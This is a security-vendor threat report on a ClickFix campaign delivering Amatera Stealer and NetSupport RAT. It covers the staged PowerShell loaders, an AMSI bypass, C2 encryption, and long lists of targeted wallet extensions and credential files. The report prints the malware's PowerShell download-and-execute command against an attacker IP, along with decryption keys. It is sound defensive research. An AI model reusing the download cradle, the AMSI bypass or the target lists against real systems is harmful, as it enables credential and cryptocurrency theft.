Threat Response Unit

EVALUSION Campaign Delivers Amatera Stealer and NetSupport RAT

eSentire Threat Response Unit (TRU)

November 13, 2025

17 MINS READ

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In November 2025, eSentire's Threat Response Unit (TRU) identified malware campaigns where ClickFix was used as an initial access vector to deploy Amatera Stealer and NetSupport RAT. Analysis revealed that Amatera Stealer is a rebranded iteration of ACR (AcridRain) Stealer, a sophisticated C++ based information stealer previously marketed as Malware-as-a-Service (MaaS) on underground forums by the threat actor SheldIO, until its source code was sold in 2024.

Amatera provides threat actors with extensive data exfiltration capabilities targeting crypto-wallets, browsers, messaging applications, FTP clients, and email services. Notably, Amatera employs advanced evasion techniques such as WoW64 SysCalls to circumvent user-mode hooking mechanisms commonly used by sandboxes, Anti-Virus solutions, and EDR products.

The figure below depicts SheldIO's forum announcement regarding the discontinuation of ACR Stealer sales before selling the source code in July 2024.

SheldIO closing sales prior to selling ACR Stealer source code
Figure 1 – SheldIO closing sales prior to selling ACR Stealer source code

Initial Access

TRU's analysis shows a recurring attack methodology across most incidents: attackers initially compromise victims through social engineering via the ClickFix initial access vector, compelling them to execute malicious commands in the Windows Run Prompt, leading to the delivery of Amatera, and subsequently NetSupport Manager RAT (Remote Administration Tool), a legitimate RMM tool that has often been abused by threat actors.

ClickFix initial access vector
Figure 2 – ClickFix initial access vector

Attack Chain

Varying samples of Amatera simply lack parameters to run n-stage PowerShell commands via the "ld" or "load" configuration parameter. This specific attack chain involves Amatera subsequently dropping NetSupport Manager, a legitimate Remote Monitoring and Management (RMM) tool that eSentire has observed being deployed by threat actors for unauthorized and full remote access to victim computers in past investigations.

Attack chain leading to Amatera and NetSupport RAT
Figure 3 – Attack chain leading to Amatera and NetSupport RAT

PowerShell Stages

All stages before the .NET-based downloader discussed below are typical obfuscated PowerShell code; however, there are some observations worth noting. There is a PowerShell stage (shown below) that decrypts the next PowerShell stage via XORing against the string "AMSI_RESULT_NOT_DETECTED".

The string itself is defined as an Enum for the Anti-Malware Scan Interface (AMSI) and was chosen by the loader developer(s) simply to confuse researchers. Other vendors have identified the same string used for decryption across similar campaigns including Netskope's blog here and Trustwave's blog here.

However, they observed the delivery of different final payloads like Lumma and Vidar, rather than Amatera.

XOR decryption via AMSI_RESULT_NOT_DETECTED string
Figure 4 – XOR decryption via AMSI_RESULT_NOT_DETECTED string

What is particularly noteworthy is the technique used in the next stage of the PowerShell to effectively disable Anti-Malware Scan Interface (AMSI) scanning in subsequent stages.

Shown in the figure below, the code first finds where clr.dll is loaded in memory (CLR), and searches for the substring "AmsiScanBuffer" in CLR's memory region and overwrites it with null bytes.

Overwrite AmsiScanBuffer string in memory region of clr.dll
Figure 5 – Overwrite AmsiScanBuffer string in memory region of clr.dll

Disassembling clr.dll, we can see the offset to the AmsiScanBuffer string is passed to GetProcAddress, however because the PowerShell overwrote the string in memory, the GetProcAddress call is passed a pointer to a null-byte filled buffer and the call fails.

Disassembly of clr.dll where AmsiScanBuffer string is referenced
Figure 6 – Disassembly of clr.dll where AmsiScanBuffer string is referenced

.NET-based Downloader

Incidents involve the use of a .NET-based downloader that is packed with Agile.net and downloads an encrypted payload from MediaFire, decrypts it via RC2, and invokes the next stage (a Pure Crypter-packed dll).

For more information on Pure Crypter, please see our blog post here.

As Pure Crypter uses a set of well-known APIs for process injection, setting a breakpoint on SetThreadContext is highly effective at interrupting control flow prior to the next stage (Amatera Stealer) where the payload can be dumped from memory prior to execution at the original entry-point.

.NET based downloader decrypt via RC2
Figure 7 – .NET based downloader decrypt via RC2

The following CyberChef recipe can be used to decrypt encrypted payloads like the one observed in this case, though the Key and IV are likely to change between variants.

RC2_Decrypt({'option':'Base64','string':'POaPtWDduKj0GN1IilAkQg=='},{'option':'Base64','string':'lkoTaa0E3T4='},'Raw','Raw')
Decrypting next stage (Pure Crypter dll) via CyberChef
Figure 8 – Decrypting next stage (Pure Crypter dll) via CyberChef

Amatera Stealer

General Functionality

The following list describes general functionality of Amatera Stealer:

WoW64Transition with SSN
Figure 9 – WoW64Transition with SSN
Extension ID Extension Name
niicfdmlahlkepapldhhaphnjjfnphjdLedger Live
pdliaogehgdbhbnmkklieghmmjkpigpaBybit Wallet
cmbagcoinhmacpcgmbiniijboejgiahiJustLiquidity Wallet
ihbkbpflehggfohemfjnpacabjfijoigArcane Resolver
nphplpgoakhhjchkkhmiggakijnkhfndTON Wallet
fldfpgipfncgndfolcbkdeeknbbbnhccMyTonWallet
omaabbefbmiijedngplfjmnooppbclkkTonkeeper
afbcbjpbpfadlkmhmclhkeeodmamcflcMathWallet
lodccjjbdhfakaekdiahmedfbieldgikDAppPlay
hcflpincpppdclinealmandijcmnkbgnKHC Wallet
bcopgchhojmggmffilplmbdicgaihlkpHycon Lite Client
fhmfendgdocmcbmfikdcogofphimnknoSollet
kpfopkelmapcoipemfendmdcghnegimnLiqualityWallet
fhbohimaelbohpjbbldcngcnapndodjpBinanceChain
cnmamaachppnkjgnildpdmkaakejnhaeAuro Wallet
nlbmnnijcnlegkjjpcfjclmcfggfefdmMewCx
amkmjjmmflddogmhpjloimipbofnfjihWombat
cphhlgmgameodnhkjdmkpanlelnlohaoNeoLine
kncchdigobghenbbaddojjnnaogfppfjiWallet
jojhfeoedkpkglbfimdfabpdfjaoolafPolymesh Wallet
ffnbelfdoeiohenkjibnmadjiehjhajbYoroiWallet
pdgbckgdncnhihllonhnjbdoighgpimkWallet Guard
ookjlbkiijinhpmnjffcofjonbfbgaocTempleWallet
mnfifefkajgofkcjkemidiaecocnkjehTezBox - Tezos Wallet
flpiciilemghbmfalicajoolhkkenfelICONex
jfdlamikmbghhapbgfoogdffldioobglHana Wallet
nkbihfbeogaeaoehlefnkodbefgpgknnMetaMask
aiifbnbfobpmeekipheeijimdpnlpgppTerraStation
aeachknmefphepccionboohckonoeemgCoin98
hpglfhgfnhbgpjdenjgmdgoeiappaflnGuardaWallet
nknhiehlklippafakaeklbeglecifhadNabox Wallet
dmkamcknogkgcdfhhbddcghachkejeapKeplr
jnmbobjmhlngoefaiojfljckilhhlhcjOneKey
klnaejjgbibmhlephnhpmaofohgkpgkdZilPay
ibnejdfjmmkpcnlpebklmnkoeoihofecTronLink
ejbalbakoplchlghecdalmeeeajnimhmMetaMask
kjmoohlgokccodicjjfebfomlbljgfhkRonin
fnjhmkhhmkbjkkabndcnnogagogbneecRonin
nhnkbkgjikgcigadomkphalanndcapjkCLV Wallet
hnfanknocfeofbddgcijnmhnfnkdnaadCoinbase
cihmoadaighcejopammfbmddcmdekcjeLeaf Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpaPhantom
djclckkglechooblngghdinmeemkbgciMetaMask
jiidiaalihmmhddjgbnbgdfflelocpakBitget Wallet
lgmpcpglpngdoalbgeoldeajfclnhafaSafePal Extension Wallet
egjidjbpglichdcondbcbdnbeeppgdphTrust
flhbololhdbnkpnnocoifnopcapiekdiUnknown
kkhmbjifakpikpapdiaepgkdephjgnmaUnknown
apbldaphppcdfbdnnogdikheafliigcfLedger Live
ckdjpkejmlgmanmmdfeimelghmdfeobeUnknown
iodngkohgeogpicpibpnaofoeifknfdoUnknown
hnefghmjgbmpkjjfhefnenfnejdjneogUnknown
fpcamiejgfmmhnhbcafmnefbijblinffKeepKey
egdddjbjlcjckiejbbaneobkpgnmpknpUnknown
nihlebdlccjjdejgocpogfpheakkpodbUnknown
ilbibkgkmlkhgnpgflcjdfefbkpehoomUnknown
oiaanamcepbccmdfckijjolhlkfocbgjUnknown
ldpmmllpgnfdjkmhcficcifgoeopnodcUnknown
mbcafoimmibpjgdjboacfhkijdkmjocdUnknown
jbdpelninpfbopdfbppfopcmoepikkgkUnknown
onapnnfmpjmbmdcipllnjmjdjfonfjdmUnknown
cfdldlejlcgbgollnbonjgladpgeogabUnknown
ablbagjepecncofimgjmdpnhnfjiecfmBlocknative Gas Fee Estimator for Ethereum
fdfigkbdjmhpdgffnbdbicdmimfikfigUnknown
njojblnpemjkgkchnpbfllpofaphbokkUnknown
hjagdglgahihloifacmhaigjnkobnnihUnknown
mcohilncbfahbmgdjkbpemcciiolgcgeOKX
jbdaocneiiinmjbjlgalhcelgbejmnidNiftyWallet
blnieiiffboillknjnepogjhkgnoapacEqualWallet
cjelfplplebdjjenllpjcblmjkfcffneJaxxLiberty
fihkakfobkmkjojpchpfgcmhfjnmnfpiBitAppWallet
kkpllkodjeloidieedojogacfhpaihohEnkrypt
nanjmdknhkinifnkgdcggcfnhdaammmjGuildWallet
nkddgncdjgjfcddamfgcmfnlhccnimigSaturnWallet
acmacodkjbdgmoleebolmdjonilkdbchRabby Wallet
phkbamefinggmakgklpkljjmgibohnbaPontem Crypto Wallet
efbglgofoippbgcjepnhiblaibcnclgkMartianAptos
lpfcbjknijpeeillifnkikgncikgfhdoNami
ejjladinnckdgjemekebdpeokbikhfciPetraAptos
opcgpfmipidbgpenhmajoajpbobppdilSui
aholpfdialjgjfhomihkjbmgjidlcdnoExodus
onhogfjeacnfoofkfgppdlbmlmnplgbnSubWallet/Polkadot Wallet
mopnmbcafieddcagagdcbnhejhlodfddPolkadot Wallet
fijngjgcjhjmmpcmkeiomlglpeiijkldTalisman Wallet
hifafgmccdpekplomjjkcfgodnhcelljCryptoCom
lkcjlnjfpbikmcmbachjpdbijejflpcmSteem Keychain
dkdedlpgdmmkkfjabffeganieamfklkmCyano Wallet
nlgbhdfgdhgbiamfdfmbikcdghidoaddByone
infeboajgfhgbjpjbeppbkgnabfdkdafOneKey Legacy
ppbibelpcjmhbdihakflkdcoccbgbkpoUniSat Wallet
klghhnkeealcohjjanjjdaeeggmfmlplZerion: Wallet for Web3 & NFTs
enabgbdfcbaehmbigakijjabdpdnimlgManta Wallet
mmmjbcfofconkannjonfmjjajpllddbgFluvi Wallet
bifidjkcdpgfnlbcjpdkdcnbiooooblgFuelet Wallet
nebnhfamliijlghikdgcigoebonmoibmLeo Wallet
fcfcfllfndlomdhbehjjcoimbgofdncgLeap Wallet
ojggmchlghnjlapmfbnjholfjkiidbchVenom Wallet
dlcobpjiigpikoobohmabehhmhfoodbbArgentX
jnlgamecbpmbajjfhmmmlhejkemejdmaBraavos
kbdcddcmgoplfockflacnnefaehaiocbShell Wallet
kgdijkcfiglijhaglibaidbipiejjfdpCirus: Crypto Wallet | Web3 | Earn Crypto
epapihdplajcdnnkdeiahlgigofloibgSender
mgffkfbidihjpoaomajlbgchddlicgpnPaliWallet
ebfidpplhabeedpnhjnobghokpiiooljFewchaMove
dngmlblcodfobpdpecaadgfbcggfjfnmMaiarDeFiWallet
ldinpeekobnhjjdofggfgjlcehhmanljLeather
mdjmfdffdcmnoblignmgpommbefadffdCarax Wallet
aflkmfhebedbjioipglgcbcmnbpgliofBackpack
dmjmllblpcbmniokccdoaiahcdajdjofPockie Wallet
lnnnmfcpbkafcpgdilckhmhbkkbpkmidKoala Wallet
odpnjmimokcmjgojhnhfcnalnegdjmdnYETI Web3.0 Wallet
bopcbmipnjdcdfflfgjdgdjejmgpoaabBlockWallet
cpmkedoipcpimgecpmgpldfpohjplkppGate Wallet
khpkpbbcccdmmclmpigdgddabeilkdpdSuietSui
mcbigmjiafegjnnogedioegffbooigliEthosSui
fiikommddbeccaoicoejoniammnalkfaNightly Wallet
heefohaffomkkkphnlpohglngmbcclhiMorphis Wallet
ocjdpmoallmgmjbbogfiiaofphbjgchhElli | Sui Wallet
hmeobnfnfcmdkdcmlblgagmfpfboieafXDEFI
kfdniefadaanbjodldohaedphafoffohTyphon Wallet
kmhcihpebfmpgmihbkipmjlmmioamekaEternl
gafhhkghbfjjkeiendhlofajokpaflmkLace
kglcipoddmbniebnibibkghfijekllblKerberus Sentinel3
iokeahhehimjnekafflcihljlcjccdbeAlby - Bitcoin Wallet for Lightning & Nostr
idnnbdplmphpflfnlkomgpfbpcgelopgXverse: Bitcoin Crypto Wallet
kmphdnilpmdejikjdnlbcnmnabepfgkhOsmWallet - Your XRP wallet
cgeeodpfagjceefieflmdfphplkenlfkEVERWallet
pdadjkfkgcafgbceimcpbkalnfnepbnkKardiaChain
odbfpeeihdkbihmopkbjmoonfanlbfclBraveWallet
fhilaheimglignddkjgofkcbgekhenbhAtomicWallet
aodkkagnadcbobfpggfnjeongemjbjcaBoltX
dngmlblcodfobpdpecaadgfbcggfjfnmMaiarDeFiWallet
lpilbniiabackdjcionkobglmddfbcjoKeeper Wallet
bhhhlbepdkbapadjdnnojkbgioiodbicSolflare Wallet
jnkelfanjkeadonecabehalmbgpfodjmGoby
jgaaimajipbpdogpdglhaphldakikgefCoinhub
kppfdiipphfccemcignhifpjkapfbihdFrontier Wallet
loinekcabhlmhjjbocijdoimmejangoaGlass wallet | Sui wallet
anokgmphncpekkhclmingpimjmcooifbCompass Wallet for Sei
cnncmdhjacpkmjmkcafchppbnpnhdmonHAVAH Wallet
mkpegjkblkkefacfnmkajcjmabijhclgMagic Eden Wallet
eiaeiblijfjekdanodkjadfinkhbfgcdNordPass
hlcjpjebakkiaolkpceofenleehjgecaPasswarden by KeepSolid
jappahmbjadeffilgnfiofdpcoodcjbgPasswarden by KeepSolid
gehmmocbbkpblljhkekmfhjpfbkclbphDashlane Password Manager
jnhjknbfnclancjpknceboifoegiompfEdgeKeePass
pnlccmojcmeohlpggmfnbbiapkmbliobRoboForm Password Manager
ljfpcifpgbbchoddpjefaipoiigpdmagRoboForm Password Manager
bhghoamapcdpbohphigoooaddinpkbaiAuthenticator
gaedmjdfmmahhbjefcbgaolhhanlaolbAuthy
imloifkgjagghnncjkhggdhalmcnfklkTrezor Password Manager
oeljdldpnmdbchonielidgobddffflalEOS Authenticator
ilgcnhelpchnceeipipijaljkblbcoblGAuth Authenticator
nngceckbapebfimnlniiiahkandclblbBitwarden Password Manager
oboonakemofpalcgghocfoadofidjkkkKeePassXC-Browser
fdjamakpfbbddfjaooikfcpapjohcfmgDashlane
fooolghllnmhmmndgjiamiiodkpenpbbNordPass
bfogiafebfohielmmehodmfbbebbbpeiKeeper Password Manager
lfochlioelphaglamdcakfjemolpichkKeeper Password Manager
hdokiejnpimakedhajhdlcegeplioahdLastPass
naepdomgkenhinolocfifgehidddafchBrowserpass
bmikpgodpkclnkgmnpphehdgcimmidedMYKI Password Manager & Authenticator
nofkfblpeailgignhkbnapbephdnmbmnMYKI Password Manager & Authenticator
jhfjfclepacoldmjmkmdlmganfaalklbSplikity
chgfefjpcobfbnpmiokfjjaglahmndedCommonKey
igkpcodhieompeloncfnbekccinhapdbZoho Vault
cfhdojbkjhnklbpkdaibdccddilifddbAdblock Plus
kmmkllgcgpldbblpnhghdojehhfafhroUnknown
ibegklajigjlbljkhfpenpfoadebkoklUnknown
ijpdbdidkomoophdnnnfoancpbbmpfcnUnknown
llalnijpibhkmpdamakhgmcagghgmjabUnknown
mjdmgoiobnbombmnbbdllfncjcmopfncUnknown
ekkhlihjnlmjenikbgmhgjkknoelfpedUnknown
jngbikilcgcnfdbmnmnmnleeomffcimlUnknown
hcjginnbdlkdnnahogchmeidnmfckjomUnknown
ogphgbfmhodmnmpnaadpbdadldbnmjjiUnknown
hhmkpbimapjpajpicehcnmhdgagpfmjcUnknown
ojhpaddibjnpiefjkbhkfiaedepjhecaUnknown
fmhjnpmdlhokfidldlglfhkkfhjdmhglUnknown
gjhohodkpobnogbepojmopnaninookhjUnknown
hmglflngjlhgibbmcedpdabjmcmboamoUnknown
eklfjjkfpbnioclagjlmklgkcfmgmbpgUnknown
jbkfoedolllekgbhcbcoahefnbanhhlhBitwarden Password Manager
kfmlopbepahlcjbkfnnklglgibbopkbkC2 Password
File Path File Name
\Monero\wallets*
%APPDATA%\Zcash*wallet*dat
%APPDATA%\Guarda\Local Storage\leveldb*
%APPDATA%\WalletWasabi\Client\Wallets*.json
%APPDATA%\Armory*
%APPDATA%\DashCore\wallets*
%APPDATA%\Bitcoin\walletswallet.dat
%APPDATA%\Binanceapp-store.json, simple-storage.json, finger-print, window-state.json
%APPDATA%\Electrum\wallets*
%APPDATA%\Electrum-LTC\wallets*
%APPDATA%\Ethereumkeystore
%APPDATA%\Exodusexodus.conf.json, window-state.json, passphrase.json, seed.seco, info.seco
%APPDATA%\Anoncoin*wal*.dat
%APPDATA%\BBQCoin*wal*.dat
%APPDATA%\devcoin*wal*.dat
%APPDATA%\digitalcoin*wal*.dat
%APPDATA%\Florincoin*wal*.dat
%APPDATA%\Franko*wal*.dat
%APPDATA%\Freicoin*wal*.dat
%APPDATA%\GoldCoin (GLD)*wal*.dat
%APPDATA%\GInfinitecoin*wal*.dat
%APPDATA%\IOCoin*wal*.dat
%APPDATA%\Ixcoin*wal*.dat
%APPDATA%\Litecoin*wal*.dat
%APPDATA%\Megacoin*wal*.dat
%APPDATA%\Mincoin*wal*.dat
%APPDATA%\Namecoin*wal*.dat
%APPDATA%\Primecoin*wal*.dat
%APPDATA%\Terracoin*wal*.dat
%APPDATA%\YACoin*wal*.dat
%APPDATA%\Dogecoin*wal*.dat
%APPDATA%\ElectronCash\wallets*.*
%APPDATA%\MultiDogemultidoge.wallet
%APPDATA%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb*.*
%APPDATA%\atomic\Local Storage\leveldb*.*
%APPDATA%\Daedalus Mainnet\walletsshe*.sqlite
%APPDATA%\Coinomi\Coinomi\wallets*.wallet, *.config
%APPDATA%\Ledger Live*
%APPDATA%\Ledger Wallet*
%APPDATA%\@trezor\suite-desktop*
File Path File Name
C:\Program Files (x86)\GoFTP\settingsConnections.txt
C:\Users\cuck\Documents\yMail2Accounts.xml, POP3.xml, SMTP.xml
%APPDATA%\FTPInfoServerList.xml, ServerList.cfg
%APPDATA%\UltraFXPsites.xml
%APPDATA%\NetDriveNDSites.ini
%APPDATA%\FTP Nowsites.xml
C:\Program Files (x86)\DeluxeFTPsites.xml
%APPDATA%\Opera Mail\Opera Mailwand.dat
%APPDATA%\FTPGetterservers.xml
%APPDATA%\Steedbookmarks.txt
%APPDATA%\Microsoft\Sticky NotesStickyNotes.snt
%APPDATA%\Conceptworld\NotezillaNotes8.db
%APPDATA%\To-Do DeskListtasks.db
%APPDATA%\Estsoft\ALFTPESTdb2.dat
%APPDATA%\BitKinexbitkinex.ds
%APPDATA%\TrulyMail\Data\Settingsuser.config
%APPDATA%\Pocomailaccounts.ini
%APPDATA%\Notepad++\plugins\config\NppFTPNppFTP.xml
%APPDATA%\FTPBoxprofiles.conf
%LOCALAPPDATA%\INSoftware\NovaFTPNovaFTP.db
%APPDATA%\GmailNotifierProConfigData.xml
%APPDATA%\BlazeFtpsite.dat
%APPDATA%\Bitwardendata*.json
%APPDATA%\NordPass*.conf
%LOCALAPPDATA%\1Password\data*.sqlite
%LOCALAPPDATA%\RoboForm\Profiles*.rfo
%APPDATA%\MySQL\Workbenchconnections.xml
%APPDATA%\GHISLERwcx_ftp.ini
%LOCALAPPDATA%\Mailbird\StoreStore.db
%APPDATA%\Authy Desktop\Local Storage\leveldb*
%APPDATA%\AnyDesk*.conf
%APPDATA%\FileZillarecentservers.xml, sitemanager.xml
%LOCALAPPDATA%\Mailbird\Store*.db
%APPDATA%\eM Client*.dat, *.dat-shm, *.dat-wal, *.eml
%APPDATA%\The Bat!*.TBB, *.TBN, *.MSG, *.EML, *.MSB, *.mbox, *.ABD, *.FLX, *.TBK, *.HBI, *.txt
C:\PMAIL*.CNM, *.PMF, *.PMN, *.PML, *CACHE.PM, *.WPM, *.PM, *.USR
C:\Users\<user>\snowflake-sshsession-store.json
%LOCALAPPDATA%\NordVPNuser.config
%LOCALAPPDATA%\AzireVPNtoken.txt

C2 Address Decryption

The C2 is stored in the payload as an encrypted base64 string (shown below). Also shown below, a bogus host domain (aether100pronotification.table.core.windows.net), a campaign identifier transmitted to the C2 when exfiltrating information "GETWELL", and a sub-string "GetEndpoints", which is concatenated to form part of the initial contact JSON payload to the C2.

Note: The usage of a bogus Host header value in requests is a trend with this malware family and has also been observed by Proofpoint researchers here. The real C2 address is the base64 encoded + XOR encrypted string shown below.

Strings in Amatera, C2 address (base64/XOR encrypted), bogus Host header value
Figure 10 – Strings in Amatera, C2 address (base64/XOR encrypted), bogus Host header value

After decoding the encrypted C2 from base64, Amatera calls the XOR-based routine shown below to decrypt it. This routine is used for various functions throughout Amatera, in addition to the decryption of the C2, it is also used for decryption of the configuration from the C2, though we will get to that later.

This routine is a simple XOR cipher routine where each byte is XOR'd against a hard-coded string that varies between variants. In this sample, the string is 852149723\x00. It is important to note that the null terminator is also used in this process.

XOR decryption routine used for decrypting C2 address and malware configuration from C2
Figure 11 – XOR decryption routine used for decrypting C2 address and malware configuration from C2

C2 Communications

Amatera communicates with the C2 over TLS by encrypting the message contents via Windows APIs: AcquireCredentialsHandleA, InitializeSecurityContextA, EncryptMessage (requests to the C2) and DecryptMessage (responses from the C2). It uses a WoW64 syscall to NtDeviceIoControl to establish C2 communications via the Auxiliary Function Driver device "\\Device\\Afd\\Endpoint".

This technique is described more in-depth in Proofpoint's blog here and is an advanced technique that is used to evade security solutions that hook specific Windows APIs for inspection of HTTP communications, e.g. winhttp!WinHttpSendRequest.

The request and response HTTP bodies are encrypted via AES-256 CBC, where the 32-byte AES Key is stored in the payload as a byte array stored on the stack (shown below).

AES key in Amatera on stack
Figure 12 – AES key in Amatera on stack

The AES IV varies between requests to the C2 and responses from the C2:

AES-256-CBC encryption routine
Figure 13 – AES-256-CBC encryption routine

Requests to the C2 are JSON-encoded. The first request asks the C2 for URI paths that map to various endpoints for the Amatera C2 API. The HTTP request body and decrypted plaintext content can be seen in the figure below.

The first request sent to the C2 contains the JSON: {"Command":"GetEndpoints"}. Also seen in the figure, the bogus Host header value aether100.pronotification.table.core.windows.net.

Initial C2 request/decrypted request body
Figure 14 – Initial C2 request/decrypted request body

The response from the C2 can be seen below (highlighted in gray) and is AES-256 CBC encrypted with the hard-coded key mentioned in Figure 11. The AES IV is derived from the first 16 bytes of the response body (highlighted in red).

The remaining bytes, up to the length specified by the Content-Length header, is the ciphertext. Decrypting via AES 256 with the key and IV, we can see C2 endpoints that are used in subsequent requests for obtaining the configuration, exfiltrating stolen information, etc.

Initial C2 response/decrypted response body (C2 endpoints)
Figure 15 – Initial C2 response/decrypted response body (C2 endpoints)

Using the URI path obtained from the "c" key in the endpoints JSON shown above, the next request to the C2 is an HTTP POST with a JSON encoded blob. In the JSON blob, the key "Id" specifies a GUID that is hard coded in the payload is needed to retrieve the malware configuration from the C2.

Second request/decrypted request body (retrieve config)
Figure 16 – Second request/decrypted request body (retrieve config)

The response from the C2 is decrypted through the usual means of AES-256 w/ the hard-coded key and IV from the C2, and then from base64 + the XOR routine and key mentioned above in Figure 10. The decrypted result is the malware's JSON-encoded configuration that is used throughout the stealer and dictates how the malware operates, i.e., what applications/browser extensions to target, follow-on payloads, etc.

Second response/decrypted response body (config)
Figure 17 – Second response/decrypted response body (config)

Here is another view of the configuration, using CyberChef to decode the base64 and XOR operation with the same XOR key used to decrypt the C2 address, revealing the configuration JSON sent by the C2. The full configuration is available for further analysis here.

CyberChef view of decrypted config
Figure 18 – CyberChef view of decrypted config

Harvested data is collected into a zip archive and sent via HTTP POST to the C2. Every exfiltration request to the C2 is in the format of a zip archive that contains a text file at the root named like <guid>.txt that stores the victim device fingerprint in the format <timestamp><computer_name><machine guid>.

Directories in the archive contain stolen data/credentials/results from running malicious PowerShell commands.

Exfiltration request/decrypted request body
Figure 19 – Exfiltration request/decrypted request body

The figure below shows a request body after decrypting the exfiltration request via CyberChef and contains a zip archive containing a collection of zip archives with harvested files and standard output from PowerShell-specific commands that were executed via Amatera's loader functionality.

Exfiltration request/decrypted request body
Figure 20 – Exfiltration request/decrypted request body

Loader Functionality

TRU observed Amatera delivering additional malware like NetSupport RAT through the "ld" or "load" feature in the malware that enables running arbitrary PowerShell commands or executing additional malware payloads. Swisscom observed a similar Amatera payload, however rather than NetSupport, they discovered this feature was used to deliver Amadey and a Discord token stealer written in Golang.

A snippet of the specific Amatera configuration entry that lead to NetSupport RAT can be seen below.

"ld": [
{
    "u": "hxxp://87.120.219.26/P9m4H7S2FqDTof", // URI to retrieve payload from
    "tf": 4, // Type of file (see table below), e.g. exe, dll, cmd, ps1, shellcode
    "tr": 2, // Method to use for running the payload, 1 – file-based, 2 – file-less
    "c": [
        "US"
    ],
    "p": 4,
    "w": false
},

Because a value of "2" was specified for the "tf" key (fileless payload), the following PowerShell process was spawned, where the response from the C2 "87.120.219.26" AS 215540 (Global Connectivity Solutions Llp) was then invoked as PowerShell.

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('hxxp://87.120.219.26/P9m4H7S2FqDTof')"

If a value of "1" was specified for the "tf" key instead (file-based payload), the following PowerShell process line would have spawned.

powershell.exe -NoProfile -ExecutionPolicy Bypass -File "<Path/To/Payload.ps1>"

The following table describes the possible "tf" values mapped to corresponding file types handled by Amatera.

"tf" value Description
1 .exe, on-disk execution only via CreateProcessA
2 .dll, not supported at this time
3 .cmd, not supported at this time
4 PowerShell payload, on-disk (.ps1) and in-memory execution supported via Invoke-Expression (IEX)
5 Shellcode execution via thread execution hijacking of rundll32.exe

The figure shown below contains pseudo-code of the instructions responsible for handling the "tr" value (payload run type). If the value is '1' file-based payloads are handled, otherwise if the value is '2' fileless based payloads are handled.

File-based and fileless-based payload handling
Figure 21 – File-based and fileless-based payload handling

The pseudo-code shown below illustrates how file based payloads are handled, where a "tf" value of '4' results in a .ps1 file being written to disk and executed via the aforementioned command line. The code also handles a "tf" value of 1 (.exe) and calls CreateProcessA to start the payload.

File-based handler
Figure 22 – File-based handler

What is particularly noteworthy in the PowerShell invoked by Amatera is a check to determine if the victim machine is part of a domain or has files of potential value, e.g. crypto wallets. If neither is found, NetSupport is not downloaded. This behavior was also observed and reported by Swisscom here.

PowerShell executed via Amatera with check on files/domain
Figure 23 – PowerShell executed via Amatera with check on files/domain

The PowerShell then downloads a JPG file that contains the encrypted/compressed NetSupport RAT-laced zip archive. It uses a special marker (shown below) to identify key values and the encrypted payload (zip archive). The file is decrypted, unzipped, and the NetSupport client is executed (shown in Figure 2 as systeminfo.exe).

PowerShell executed via Amatera, decrypt payload from JPG
Figure 24 – PowerShell executed via Amatera, decrypt payload from JPG

Extracting the zip archive yields an interesting find – the NSM.lic file has licensee "KAKAN", a NetSupport cluster AKA EVALUSION we have observed in prior incidents and reported about in our blog here. The C2 server configured in client32.ini (NetSupport configuration file) was 45.94.47.224 (AS 207461 - Hosting Industry Limited).

eSentire Utilities

To aid security researchers, eSentire has created a configuration extractor for Amatera Stealer available here. The tool will decrypt the C2 and extract the AES key that can be used in decrypting C2 communications/encrypting data for simulating communication with an Amatera C2 server.

The C2 server shown below was at 91.98.229.246 (AS 24940 Hetzner Online GmbH) and currently has no detections in VirusTotal.

Config extraction utility output
Figure 25 – Config extraction utility output

The following CyberChef recipe can be used to decrypt communications to and from Amatera C2. The input into CyberChef is expected to be a hex dump of the full HTTP request or response content. The recipe will extract the HTTP body, and decrypt it with AES-256-CBC. Note, the AES key will need to be updated with the key found from the sample or script included above.

Find_/_Replace({'option':'Regex','string':'[^0-9a-fA-F]+'},'',true,true,true,true)
Find_/_Replace({'option':'Regex','string':'.*?0D0A0D0A(.*)'},'$1',true,true,true,true)
Register('([\\s\\S]{32})',true,false,false)
Drop_bytes(0,32,false)
AES_Decrypt({'option':'Hex','string':'76 40 FE D9 8A 53 85 66 41 76 36 83 16 3F 41 27 b9 fc 00 f9 a7 88 77 3c 00 ee 1f 26 34 ce c8 2f'},{'option':'Hex','string':'$R0'},'CBC','Hex','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU)

Indicators of Compromise

References

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Back to blog

Take Your Cybersecurity Program to the Next Level with eSentire MDR.

BUILD A QUOTE

Read Similar Blogs

EXPLORE MORE BLOGS